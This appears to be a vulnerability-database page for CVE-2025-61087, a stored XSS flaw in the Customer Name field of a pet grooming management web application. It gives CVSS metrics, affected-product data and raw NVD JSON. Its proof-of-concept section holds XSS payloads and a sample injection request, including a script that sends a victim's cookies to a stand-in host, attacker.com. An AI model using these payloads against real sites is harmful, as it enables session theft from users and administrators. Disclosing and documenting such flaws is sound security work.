Security Vulnerability Report
中文
CVE-2025-61087 CVSS 6.1 MEDIUM

CVE-2025-61087

Published: 2025-10-02 15:15:59
Last Modified: 2025-10-07 18:15:39

Description

SourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) via the Customer Name field under Customer Management Section.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mayurik:pet_grooming_management_software:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Pet Grooming Management Software 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61087 PoC - Stored XSS in Customer Name Field --> <!-- Target: SourceCodester Pet Grooming Management Software 1.0 --> <!-- Vulnerable Parameter: Customer Name field under Customer Management Section --> <!-- Step 1: Navigate to the Customer Management section --> <!-- Step 2: Inject the following payload into the Customer Name field --> <!-- Payload 1: Basic XSS to trigger alert --> <script>alert('XSS-Vulnerability-CVE-2025-61087')</script> <!-- Payload 2: Cookie stealing payload (for demonstration) --> <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> <!-- Payload 3: Event-based XSS using img tag --> <img src=x onerror=alert(document.domain)> <!-- Step 3: Submit the form to save the customer record --> <!-- Step 4: When an admin views the customer list/details page, the XSS payload executes --> <!-- HTTP Request Example (using curl) --> /* POST /customer_management.php HTTP/1.1 Host: target-server.com Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=valid_session customer_name=<script>alert('XSS')</script>&phone=1234567890&[email protected]&address=test&submit=Save */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61087", "sourceIdentifier": "[email protected]", "published": "2025-10-02T15:15:58.727", "lastModified": "2025-10-07T18:15:38.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) via the Customer Name field under Customer Management Section."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mayurik:pet_grooming_management_software:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "B88D324D-B780-4D8D-BE43-829227D2808F"}]}]}], "references": [{"url": "https://github.com/sanin-s1r3n/CVE-Research/blob/main/CVE-2025-61087", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linkedin.com/in/shuvo-ahmed-sanin/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/sanin-s1r3n/CVE-Research/blob/main/CVE-2025-61087", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}